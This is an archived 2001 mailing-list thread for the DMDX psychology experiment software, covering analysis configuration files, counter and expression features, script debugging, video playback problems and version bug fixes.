http://www.u.arizona.edu/~jforster/dmdx/dmdxutils.zip =========================================================================================== Example of an .spc file: ------------------------ This file contains a number of key words specifying options. Any line with # at the beginning is a comment. In the following example, explanatory comments are appended after each key word. ==== * ====== * ======= title: Priming Experiment 1 # any text appearing after ""title:"" will be used as a title. discard_display_errors # if there was a display error on an item, the data from this trial is discarded. # any option can be turned off either by deleting the line, or # by inserting # at the beginning of the line, e.g., #discard_display_errors subject_rejection: 20 # an option for specifying the highest percent error rate that # will be included. # In this example, subjects making 20% errors or more over # all items being analyzed would be automatically rejected. data_threshold: 2.0 # any RTs more than 2.0 S.D. units away from the overall mean RT for each subject # will be trimmed, either by setting it equal to the cutoff value (the default), # or by exclusion (see next option). Delete the above line or comment it out # if you don't want any data trimming. data_rejection # any RTs selected by the above data_threshold are excluded rather than trimmed. low_cutoff: 200 # RTs faster than 200 ms will be discarded high_cutoff: 1500 # RTs slower than 1500 ms will be discarded rt_width: 7 rt_precision: 1 # specifies the output format of the .das file. rt_width is the number of # columns (default 5), and rt_precision is the number of decimals (default 0). analyze_incorrect_responses # use this if you want to analyze only the incorrect responses. # now follows the item assignments. condition: 1 name: c1 description: Semantically related prime items: 1-9 11 12 # This allows you to specify a name and a description for each condition, # and to specify which items belong to this condition. # In this example, condition 1 is named ""c1"", and the # the description of the condition is ""Sematically related prime"". # The items to be included are 1 to 9, 11, and 12. condition: 2 name: c2 description: Unrelated prime items:14-16 18 19-26 # etc., for each remaining condition. ====================================================================================== Example of a .cat file ---------------------- title: low density targets # this will appear on the .ism and .das file rt_width: 7 rt_precision: 1 # as in the .spc file dasfile: exp1a.das # the first input file is the file ""exp1a.das"" subject: 1-3 # the first three columns of the output file will list the subject # mean RTs and the error rates for the first # three conditions of the file ""exp1a.das"". dasfile: exp1b.das # the second input file is the file ""exp1b.das"" subject: 1-3 # columns 4-6 of the output file will contain the subject # mean RTs and error rates for conditions 1-3 of exp1b.das # the above will generate two data matrices each with N rows # (equal to the number of subjects) and 6 columns, # corresponding to the conditions specified above. The first # matrix contains mean RTs, the second error rates. # if you also wish to have item mean RTs and error rates # included in the output, you need to specify a new # combination. This usually will not match the specification # for the subject means in a counterbalanced design, in which # different groups of subjects receive counterbalanced items. # In the following example, a counterbalanced design is assumed. dasfile: exp1a.das # this is the input file item: 1 # output the item mean RTs and error rates for condition 1 # in file exp1a.das dasfile: exp1b.das item: 2 # output the item mean RTs and error rates for condition 2 # in file exp1b.das dasfile: exp1b.das item: 1 dasfile: exp1a.das item:2 # same as above, except reversed. ===================================================================================== -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ An atom blaster is a good weapon, but it can point both ways. >From DMDX-owner@psy1.psych.arizona.edu Wed Oct 31 16:13:09 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id QAA03017 for ; Wed, 31 Oct 2001 16:11:19 -0700 Received: from kif.u.arizona.edu (128.196.98.27) by phobos.email.Arizona.EDU (6.0.032) id 3BE083E200000221 for DMDX@psy1.psych.arizona.edu; Wed, 31 Oct 2001 16:11:18 -0700 Message-Id: <4.3.1.1.20011031103157.00ccb1a0@kforster.inbox.email.arizona.edu> Date: Wed, 31 Oct 2001 16:12:08 -0700 To: DMDX@psy1.psych.arizona.edu From: Kenneth Forster Subject: [DMDX] Re: analysing tools In-Reply-To: <004a01c15e29$af978f20$312815ac@psycho.univparis5.fr> Mime-Version: 1.0 Content-Type: multipart/alternative; boundary=""=====================_26468455==_.ALT"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list --=====================_26468455==_.ALT Content-Type: text/plain; charset=""us-ascii""; format=flowed At 04:22 PM 10/26/01 +0200, you wrote: >Hi, > >I have some difficulties using analysing tools. I don't understand what >""concatenate"" and ""unloadazk"" stand for and don't see how to chain these >different tools. >Would somebody have an example of an entire analysis using these tools? These utilities were designed for users of DM/DMTG who were accustomed to using binary data output (.dtp) files. In that system, UPDATE accepted a .dtp file as input, analyzed the data, and generated another binary file as output (.dat). To convert data from a binary file into an ascii file, the DOS program CONCAT accepted input from multiple .dat files and combined selected conditions from these files into one ascii output file (.das). The newer Windows program ANALYZE now analyzes the data in an .azk file, and produces an ascii .das file for each .rtf file. CONCATENATE allows you to combine conditions from these files into one file for input to ANOVA programs. There are many other utilities that allow you to do the same thing, not to mention any text editor. UNLOADAZK replaces the former utility UNLOAD, and facilitates the transfer and updating of .azk files from multiple machines. One can have .azk files with the same name on different machines, and combining them into one file involves a tedious operation of appending and renaming. UNLOADAZK does this automatically. The principle virtue of the current scheme is that the .cat file and the .spc file leave a record of exactly how the data were analyzed. Evidently, I neglected to include explanatory notes in the dmdxutils.zip file. This has now been rectified. >In ""analyse"" it seems that you can't use ? or * to specify your >conditions. This could be useful for people coding conditions in item >number. For instance item 102612 is item number 26 in condition 1 for >factor 1 and condition 2 for factor 2. So condition 11 could be described >as 1???11. So it could. But I see this as a needless complication. If you are using Excel to construct your item files, numbering of items can be handled automatically. I have seen many errors introduced by keying in the wrong item number. > >Is it possible to apply a cutoff and then the 2 standard deviations for >excluding bizarre items? Yes. Specifying the low_cutoff and the high_cutoff in the .spc file excludes data exceeding the cutoffs. The SD cutoff is then calculated on the remaining data. --kif --=====================_26468455==_.ALT Content-Type: text/html; charset=""us-ascii"" At 04:22 PM 10/26/01 +0200, you wrote: Hi,   I have some difficulties using analysing tools. I don't understand what ""concatenate"" and ""unloadazk"" stand for and don't see how to chain these different tools. Would somebody have an example of an entire analysis using these tools?         These utilities were designed for users of DM/DMTG who were accustomed to using binary data output (.dtp) files.  In that system, UPDATE accepted a .dtp file as input, analyzed the data, and generated another binary file as output (.dat). To convert data from a binary file into an ascii file, the DOS program CONCAT accepted input from multiple .dat files and combined selected conditions from these files into one ascii output file (.das).          The newer Windows program ANALYZE now analyzes the data in an .azk file, and produces an ascii .das file for each .rtf file.  CONCATENATE allows you to combine conditions from these files into one file for input to ANOVA programs.  There are many other utilities that allow you to do the same thing, not to mention any text editor.         UNLOADAZK replaces the former utility UNLOAD, and facilitates the transfer and updating of .azk files from multiple machines.  One can have .azk files with the same name on different machines, and combining them into one file involves a tedious operation of appending and renaming. UNLOADAZK does this automatically.         The principle virtue of the current scheme is that the .cat file and the .spc file leave a record of exactly how the data were analyzed.         Evidently, I neglected to include explanatory notes in the dmdxutils.zip file.  This has now been rectified.          In ""analyse"" it seems that you can't use ? or * to specify your conditions. This could be useful for people coding conditions in item number. For instance item 102612 is item number 26 in condition 1 for factor 1 and condition 2 for factor 2. So condition 11 could be described as 1???11.         So it could.  But I see this as a needless complication.  If you are using Excel to construct your item files, numbering of items can be handled automatically.  I have seen many errors introduced by keying in the wrong item number.   Is it possible to apply a cutoff and then the 2 standard deviations for excluding bizarre items?          Yes.  Specifying the low_cutoff and the high_cutoff in the .spc file excludes data exceeding the cutoffs.  The SD cutoff is then calculated on the remaining data.         --kif --=====================_26468455==_.ALT-- >From DMDX-owner@psy1.psych.arizona.edu Fri Nov 2 16:24:07 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id QAA08445 for ; Fri, 2 Nov 2001 16:23:09 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.034) id 3BE2D20B0000B23E for DMDX@psy1.psych.arizona.edu; Fri, 2 Nov 2001 16:23:08 -0700 Message-Id: <5.1.0.14.2.20011102161209.00a19ae0@psy1.psych.arizona.edu> Date: Fri, 02 Nov 2001 16:23:01 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] DMDX 2.6.00 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Well, here's the other half of the big update. Introduced is expression evaluation in and branching with , emitting text into the data file with , attention studies are made possible with and a bug that must have been in DMTG and thus inherited by DMDX was dealt with where continuous running has been set and an instruction has a branch over non-zero item numbers and then DMDX doesn't stop waiting for a request as it should at the end of the instruction. Set Counter Keyword deprecated usage: Preferred usage evaluates expression using a modified and significantly expanded version of CALC.C that Bob Brodt wrote in 1985 and assigns the result to CounterN. First deprecated usage sets Counter N1 to value N2, second deprecated usage sets counter N to some value depending on the string text . Counters are used to control branching in DMDX, more specifically for building looping mechanisms. Before a counter can be used it must be setup at least once with a keyword, after that it can be incremented or decremented, conditionally incremented or decremented depending on the subjects response (see the Branching keywords for a full list of possibilities), emitted into the output file, tested against with the Branching keywords or set to another value with again. Counter's values are signed 32 bit integers. Possible tokens in expression and values for text are: CounterN The value of counter N, for example would set (and create if necessary) counter 3 to the value counter 2 had when this keyword is parsed. cN Synonym for CounterN LastRT Absolute value of the last Reaction Time gathered in whole milliseconds (rounded down). Because expressions are evaluated as the item is parsed this RT is the previous item's RT, not the RT that might be gathered by the item the expression is in. LastXT Last Reaction Time (previous item) gathered in whole milliseconds (rounded down). This will be negative if the response was incorrect. ErrorRate The error rate at the end of the previous item (useful for multiple tests against the error rate as a branch on the error rate will reset it). Rules regarding evaluation of expression are as follows: * Calculator program - 9 May 1985 * Bob Brodt * 34 Mehrhof Rd. * Little Ferry, NJ 07643 * (201)-641-9582 * * This is a simple integer arithmetic calculator program. It uses infix * notation, i.e. 1+2*3 as opposed to ""reverse polish"" notation: 1 2 3 * +. * * CONSTANTS: * Numbers may be input as in C using 0x notation for hex, and a * leading zero for octal, everything else is assumed to be decimal. * DMDX constants at time of evaluation: lastrt lastxt errorrate * VARIABLES: * DMDX counters referenced by counterN or cN * OPERATORS: * The following operators are supported (from highest precedence to lowest): * * ( ) associativity * ~ ! one's complement, logical NOT * * / % multiply, divide and modulo * + - unary and binary add & subtract * .SHL. .SHR. shift left and right * .LT. .GT. .LE. .GE. less than, greater than, less than or equal to and * greater than or equal to * .EQ. .NE. equal to and not equal to * & bitwise AND * ^ bitwise exclusive OR * | bitwise inclusive OR * .AND. logical AND * .OR. logical OR * = assignment * , comma - separates function arguments * * All operators associate from left to right with the exception of * the assignment (=) operator. Logical operations resolve to 1 if true and 0 * if false. * FUNCTIONS: * The calculator also has built-in function capabilities: * max(a, b) - larger of a or b * min(a, b) - smaller of a or b * abs(a) - absolute value of a * random(a) - random number between 0 and a-1 Typical use of a counter involves setting it to some initial value and decrementing it and using one of the counter branching keywords till the counter reaches 0. In the following item 10 will be displayed five times: 0 ""looping demo"" ; +10 * ""display"" ; 0 ""end""; Possible things to be aware of are that expressions, non conditional arithmetic ( and ) and most other actions in counter related keywords are performed as the item is parsed before display so multiple uses of those keywords in the same item are possible, conditional arithmetic keywords (, , , , , ) however are evaluated after the item is displayed and the RT gathered (thus necessitating special control structures within DMDX) and are limited to one operation per counter per item, in the case of multiple uses only the last will have any effect. Branches ( and ) are evaluated at the beginning of the next item after everything else. Branch If Keyword variant: Call If Keyword If expression evaluates to a non-zero value the next item to be processed will be item number N. See and . Looking Time Keyword Parameter and switch to turn on the Looking Time features of DMDX, loads counter N with the time key text was pressed during each trial. If N is -1 then the RT for that trial is set instead of a counter. This is a special extension of the input mode that sums the time a key was pressed while the clock was on, multiple counters and keys can be bound per trial. The name text can either be +buttonname or -buttonname, either will do as both names are used to determine if a key is pressed. Counters do not have to be initialized with before hand (they couldn't be on the parameter line in any event) and can be stored in the data file with . A little care is needed if is to be used as emits the counter's value as the item is parsed, before any RTs are gathered so a is necessitated. The following example monitors two looking times, one with the 1 key and the other with the 2 key, it also sets the RT to the first looking time: f70 t20000 0 ""This is the Looking Time Test Item file"" ; 10 ; ~999 ""movie.mpg"" ; +1 ""+"" / * ""movie.mpg"" c; +2 ""+"" / * ""movie.mpg"" c; Emit Counter Keyword The counter number N's value is emitted into the output data file (.azk or .zil). Should N be omitted and text provided instead (the first character of text not being numeric) then text will be emitted. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ An atom blaster is a good weapon, but it can point both ways. >From DMDX-owner@psy1.psych.arizona.edu Sun Nov 4 05:47:36 2001 Received: from mefteh.dsi.univ-paris5.fr (mefteh.dsi.univ-paris5.fr [193.51.86.10]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id FAA12317 for ; Sun, 4 Nov 2001 05:45:21 -0700 Received: (from root@localhost) by mefteh.dsi.univ-paris5.fr (8.9.3+Sun/8.9.3) id NAA29257 for dmdx@psy1.psych.arizona.edu; Sun, 4 Nov 2001 13:45:20 +0100 (MET) Received: from alpha.univ-paris5.fr (alpha.univ-paris5.fr [193.51.86.2]) by mefteh.dsi.univ-paris5.fr (8.9.3+Sun/8.9.3) with ESMTP id NAA29228 for ; Sun, 4 Nov 2001 13:45:18 +0100 (MET) Received: from agea0010lsurf (ext12.univ-paris5.fr [193.51.86.140]) by alpha.univ-paris5.fr (8.9.3/jtpda-5.3.1) with SMTP id NAA20413 for ; Sun, 4 Nov 2001 13:45:15 +0100 (MET) Message-ID: <000701c1652e$7e99e380$8c5633c1@fr> From: ""Boris New"" To: Subject: [DMDX] Mean RT and Error Rate Date: Sun, 4 Nov 2001 13:44:48 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi, First of all the calculator is very very great!!!! But I don't understand why the following script is working well with dmdx 2.502 and not with dmdx 2.6 (it doesn't display the last line Merci and below the error rate and quit suddenly) I'd like to display at the end of some blocks, the mean error rate and simultaneously the mean rt to the subject. Is it possible to display on the screen the value of a counter? If not, is there another way to do it? < AzkiiResponses>< ContinuousRun>< MapRequest +space>< MapPositiveResponse +b>< MapNegativeResponse +n>< DefaultBackgroundColor 0> < DefaultWritingColor 255255255> 0 ""Presser la barre d'espace"", ""pour commencer""; ~111 ; 50 ; 51 ; 10 / ""Bonne R�ponse"" ; 20 / ""Mauvaise R�ponse"" ; 30 / ""Pas de R�ponse"" ; ~1 ; 999 ""Moins de 400ms"" / ; ~2 ; 999 ""RT: 420"" / ; ~3 ; 999 ""RT: 440"" / ; ~4 ; 999 ""RT: 460"" / ; ~5 ; 999 ""RT: 480"" / ; ~6 ; 999 ""RT: 500"" / ; ~7 ; 999 ""RT: 520"" / ; ~8 ; 999 ""RT: 540"" / ; ~9 ; 999 ""RT: 560"" / ; ~10 ; 999 ""RT: 580"" / ; ~11 ; 999 ""RT: 600"" / ; ~12 ; 999 ""RT: 620"" / ; ~13 ; 999 ""RT: 640"" / ; ~14 ; 999 ""RT: 660"" / ; ~15 ; 999 ""RT: 680"" / ; ~16 ; 999 ""RT: 700"" / ; ~17 ; 999 ""RT: 720"" / ; ~18 ; 999 ""RT: 740"" / ; ~19 ; 999 ""RT: 760"" / ; ~20 ; 999 ""RT: 780"" / ; 21 ""RT: Plus de 780"" / ; +1000 / * ""juste1""; -1001 / * ""faux1""; +1002 / * ""juste2""; 999 ""C'est fini, Merci""; ~99 ; 0 L ""Error Rate 0%"" ; ~91 ; 0 L ""Error Rate 1%"" ; ~92 ; 0 L ""Error Rate 2%"" ; ~93 ; 0 L ""Error Rate 3%"" ; ~94 ; 0 L ""Error Rate 4%"" ; ~95 ; 0 L ""Error Rate 5%"" ; ~96 ; 0 L ""Error Rate 6%"" ; ~97 ; 0 L ""Error Rate 7%"" ; ~98 ; 0 L ""Error Rate 8%"" ; ~99 ; 0 L ""Error Rate 9%"" ; ~910 ; 0 L ""Error Rate 10%"">; ~911 ; 0 L ""Error Rate 11%"">; ~912 ; 0 L ""Error Rate 12%"">; ~913 ; 0 L ""Error Rate 13%"">; ~914 ; 0 L ""Error Rate 14%"">; ~915 ; 0 L ""Error Rate 15%"">; ~916 ; 0 L ""Error Rate 16%"">; ~917 ; 0 L ""Error Rate 17%"">; ~918 ; 0 L ""Error Rate 18%"">; ~919 ; 0 L ""Error Rate 19%"">; ~920 ; 0 L ""Error Rate 20%"">; ~921 ; 0 L ""Error Rate 21%"">; ~922 ; 0 L ""Error Rate 22%"">; ~923 ; 0 L ""Error Rate 23%"">; ~924 ; 0 L ""Error Rate 24%"">; ~925 ; 0 L ""Error Rate 25%"">; ~926 ; 0 L ""Error Rate 26%"">; ~927 ; 0 L ""Error Rate 27%"">; ~928 ; 0 L ""Error Rate 28%"">; ~929 ; 0 L ""Error Rate 29%"">; ~930 ; 0 L ""Error Rate 30%"">; ~931 ; 0 L ""Error Rate 31%"">; ~932 ; 0 L ""Error Rate 32%"">; ~933 ; 0 L ""Error Rate 33%"">; ~934 ; 0 L ""Error Rate 34%"">; ~935 ; 0 L ""Error Rate 35%"">; ~936 ; 0 L ""Error Rate 36%"">; ~937 ; 0 L ""Error Rate 37%"">; ~938 ; 0 L ""Error Rate 38%"">; ~939 ; 0 L ""Error Rate 39%"">; ~940 ; 0 L ""Error Rate 40%"">; ~941 ; 0 L ""Error Rate 41%"">; ~942 ; 0 L ""Error Rate 42%"">; ~943 ; 0 L ""Error Rate 43%"">; ~944 ; 0 L ""Error Rate 44%"">; ~945 ; 0 L ""Error Rate 45%"">; ~946 ; 0 L ""Error Rate 46%"">; ~947 ; 0 L ""Error Rate 47%"">; ~948 ; 0 L ""Error Rate 48%"">; ~949 ; 0 L ""Error Rate 49%"">; ~950 ; 0 L ""Error Rate 50%"">; ~951 ; 0 L ""Error Rate 51%"">; ~952 ; 0 L ""Error Rate 52%"">; ~953 ; 0 L ""Error Rate 53%"">; ~954 ; 0 L ""Error Rate 54%"">; ~955 ; 0 L ""Error Rate 55%"">; ~956 ; 0 L ""Error Rate 56%"">; ~957 ; 0 L ""Error Rate 57%"">; ~958 ; 0 L ""Error Rate 58%"">; ~959 ; 0 L ""Error Rate 59%"">; ~960 ; 0 L ""Error Rate 60%"">; ~961 ; 0 L ""Error Rate 61%"">; ~962 ; 0 L ""Error Rate 62%"">; ~963 ; 0 L ""Error Rate 63%"">; ~964 ; 0 L ""Error Rate 64%"">; ~965 ; 0 L ""Error Rate 65%"">; ~966 ; 0 L ""Error Rate 66%"">; ~967 ; 0 L ""Error Rate 67%"">; ~968 ; 0 L ""Error Rate 68%"">; ~969 ; 0 L ""Error Rate 69%"">; ~970 ; 0 L ""Error Rate 70%"">; ~971 ; 0 L ""Error Rate 71%"">; ~972 ; 0 L ""Error Rate 72%"">; ~973 ; 0 L ""Error Rate 73%"">; ~974 ; 0 L ""Error Rate 74%"">; ~975 ; 0 L ""Error Rate 75%"">; ~976 ; 0 L ""Error Rate 76%"">; ~977 ; 0 L ""Error Rate 77%"">; ~978 ; 0 L ""Error Rate 78%"">; ~979 ; 0 L ""Error Rate 79%"">; ~980 ; 0 L ""Error Rate 80%"">; ~981 ; 0 L ""Error Rate 81%"">; ~982 ; 0 L ""Error Rate 82%"">; ~983 ; 0 L ""Error Rate 83%"">; ~984 ; 0 L ""Error Rate 84%"">; ~985 ; 0 L ""Error Rate 85%"">; ~986 ; 0 L ""Error Rate 86%"">; ~987 ; 0 L ""Error Rate 87%"">; ~988 ; 0 L ""Error Rate 88%"">; ~989 ; 0 L ""Error Rate 89%"">; ~990 ; 0 L ""Error Rate 90%"">; ~991 ; 0 L ""Error Rate 91%"">; ~992 ; 0 L ""Error Rate 92%"">; ~993 ; 0 L ""Error Rate 93%"">; ~994 ; 0 L ""Error Rate 94%"">; ~995 ; 0 L ""Error Rate 95%"">; ~996 ; 0 L ""Error Rate 96%"">; ~997 ; 0 L ""Error Rate 97%"">; ~998 ; 0 L ""Error Rate 98%"">; ~999 ; 0 L ""Error Rate 99%"" ; ~9100 ""Error Rate 100%"" ; >From DMDX-owner@psy1.psych.arizona.edu Sun Nov 4 13:36:46 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id NAA13340 for ; Sun, 4 Nov 2001 13:36:27 -0700 Received: (qmail 299 invoked from network); 4 Nov 2001 20:36:22 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.21) by breaker.dakotacom.net with SMTP; 4 Nov 2001 20:36:22 -0000 Message-Id: <5.1.0.14.2.20011104131311.009ef9b0@psy1.psych.arizona.edu> Date: Sun, 04 Nov 2001 13:35:53 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Mean RT and Error Rate In-Reply-To: <000701c1652e$7e99e380$8c5633c1@fr> Mime-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1""; format=flowed Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 01:44 PM 11/4/01 +0100, you wrote: >Hi, >First of all the calculator is very very great!!!! > >But I don't understand why the following script is working well with dmdx >2.502 and not with dmdx 2.6 (it doesn't display the last line Merci and >below the error rate and quit suddenly) Well you call item 99 and then fall into 99, but while malformed I don't see that it should stop the display. And then there's the invalid close bracket at the end of every item from 10% onwards. Can't guess what that does. Another thing to do is to turn on to debug a complicated branching script. >I'd like to display at the end of some blocks, the mean error rate and >simultaneously the mean rt to the subject. Is it possible to display on the >screen the value of a counter? >If not, is there another way to do it? Nope, just the crude binned fashion that you're using for the RT. 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The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 >From DMDX-owner@psy1.psych.arizona.edu Sun Nov 4 16:45:39 2001 Received: from cooper.uws.edu.au (cooper.uws.edu.au [137.154.210.65]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id QAA13782 for ; Sun, 4 Nov 2001 16:44:45 -0700 Received: from marcsmatlab ([137.154.107.107]) by cooper.uws.edu.au (8.11.3/8.11.3/UWS-STAFF-1.2) with SMTP id fA4Nihm26519 for ; Mon, 5 Nov 2001 10:44:44 +1100 (EST) Message-ID: <001601c1658b$73bfe560$6b6b9a89@uws.edu.au> From: ""Helen Tam"" To: Subject: [DMDX] Synchronization problem Date: Mon, 5 Nov 2001 10:50:15 +1100 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_0013_01C165E7.A7166CC0"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. ------=_NextPart_000_0013_01C165E7.A7166CC0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Dear All, Hi, I'm having problems with running .mov files in DMDX. The files play = but the sound and the picture appear to be out of sync. It seems that = the frames are playing faster than the audio. What might be the reason = for this? Please help... Helen ------=_NextPart_000_0013_01C165E7.A7166CC0 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Dear All, Hi, I'm having problems with running = .mov files in=20 DMDX. The files play but the sound and the picture appear to be out of = sync. It=20 seems that the frames are playing faster than the audio. What might be = the=20 reason for this? Please help... Helen ------=_NextPart_000_0013_01C165E7.A7166CC0-- >From DMDX-owner@psy1.psych.arizona.edu Mon Nov 5 09:04:19 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA15589 for ; Mon, 5 Nov 2001 09:03:39 -0700 Received: (qmail 6765 invoked from network); 5 Nov 2001 16:03:36 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.21) by breaker.dakotacom.net with SMTP; 5 Nov 2001 16:03:36 -0000 Message-Id: <5.1.0.14.2.20011105090047.009f15b0@psy1.psych.arizona.edu> Date: Mon, 05 Nov 2001 09:03:00 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Synchronization problem In-Reply-To: <001601c1658b$73bfe560$6b6b9a89@uws.edu.au> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 10:50 AM 11/5/01 +1100, you wrote: >Dear All, >Hi, I'm having problems with running .mov files in DMDX. The files play >but the sound and the picture appear to be out of sync. It seems that the >frames are playing faster than the audio. What might be the reason for this? >Please help... Update all the codecs -- easiest way to do that might be to get the latest Windows Media player. How fast is the computer? If it's not the fastest thing around the place update it. If none of those get it convert the files to some other format. .MOV is a Macintosh format and as such basically sucks on a PC. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 >From DMDX-owner@psy1.psych.arizona.edu Mon Nov 5 17:33:24 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id RAA16827 for ; Mon, 5 Nov 2001 17:33:02 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.034) id 3BE6C3EA0000FB8A for DMDX@psy1.psych.arizona.edu; Mon, 5 Nov 2001 17:33:01 -0700 Message-Id: <5.1.0.14.2.20011105173018.009edec0@psy1.psych.arizona.edu> Date: Mon, 05 Nov 2001 17:33:02 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] DMDX 2.6.01 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Append Counter Keyword When this keyword is included in a frame the value of counter N (see ) will be appended to the current frame's display. If you wish to change the formatting of the counter make sure the RTF formatting does not end with the quotes, for example to have a completely green display the following would be required: / ""counter 1: "" / You'll have look at the source for that example to make any sense: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhappendcounterkeyword.htm -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Interesting but useless facts #31. Pantophobia is the fear of everything. >From DMDX-owner@psy1.psych.arizona.edu Tue Nov 6 09:15:00 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA18636 for ; Tue, 6 Nov 2001 09:13:58 -0700 Received: (qmail 2232 invoked from network); 6 Nov 2001 16:13:55 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.21) by breaker.dakotacom.net with SMTP; 6 Nov 2001 16:13:55 -0000 Message-Id: <5.1.0.14.2.20011106091055.009f4bb0@psy1.psych.arizona.edu> Date: Tue, 06 Nov 2001 09:13:13 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: DMDX 2.6.01 In-Reply-To: <5.1.0.14.2.20011105173018.009edec0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 05:33 PM 11/5/01 -0700, you wrote: >Append Counter Keyword > > > People might want to look out using that one, I just thought of a hole in the code during morning meditation that I will have to fix in a couple of hours. If DMDX starts reporting invalid switches 0..9 in the frame following the frame with that's the error. I did say it was tricky... -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 >From DMDX-owner@psy1.psych.arizona.edu Tue Nov 6 12:51:28 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id MAA19262 for ; Tue, 6 Nov 2001 12:50:50 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.034) id 3BE3449A0004A35E for DMDX@psy1.psych.arizona.edu; Tue, 6 Nov 2001 12:50:47 -0700 Message-Id: <5.1.0.14.2.20011106124810.009e80b0@psy1.psych.arizona.edu> Date: Tue, 06 Nov 2001 12:50:49 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] DMDX 2.6.02 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Damn, fixing properly was messier than I realized. Well, there's all sorts of nasty pointer code in there now and it appears to pass the tests I've thrown at it so you guys can have at it and see if you can bust it. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Interesting but useless facts #31. Pantophobia is the fear of everything. >From DMDX-owner@psy1.psych.arizona.edu Tue Nov 6 18:03:55 2001 Received: from cooper.uws.edu.au (cooper.uws.edu.au [137.154.210.65]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id SAA20059 for ; Tue, 6 Nov 2001 18:03:18 -0700 Received: from marcsmatlab ([137.154.107.107]) by cooper.uws.edu.au (8.11.3/8.11.3/UWS-STAFF-1.2) with SMTP id fA713Bm16362 for ; Wed, 7 Nov 2001 12:03:12 +1100 (EST) 